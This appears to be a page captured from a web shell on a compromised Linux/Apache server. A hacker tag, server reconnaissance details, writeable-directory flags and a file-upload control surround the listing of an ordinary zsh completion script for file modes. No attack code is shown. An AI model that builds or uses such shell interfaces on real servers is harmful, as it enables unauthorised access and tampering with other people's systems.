Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/usr/share/zsh/5.5.1/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/zsh/5.5.1/functions/_file_modes
#autoload

# Provides completion for file modes (formerly part of _chmod)

local curcontext=$curcontext
local -a context line state state_descr copts=( "${@}" ) privs
local -A val_args

privs=(
  'r[read]' 'w[write]' 'x[execute]'
  's[set uid/gid]' 't[sticky]'
  'X[execute only if directory or executable to another]'
  "u[owner's current permissions]"
  "g[group's current permissions]"
  "o[others' current permissions]"
)

[[ $OSTYPE == solaris* ]] &&
privs+=( 'l[mandatory locking]' )

compset -P '*,'
compset -S ',*'

if [[ -prefix [0-7] ]]; then
  _message -e number 'numeric mode'
elif compset -P '[a-z]#[+-=]'; then
  _values -O copts -S '' privilege $privs && return 0
else
  compset -P '*'
  copts=( -S '' )
  _alternative -O copts \
    'who:who:((a\:all u\:owner g\:group o\:others))' \
    'operators:operator:(+ - =)' \
  && return 0
fi

return 1

Hry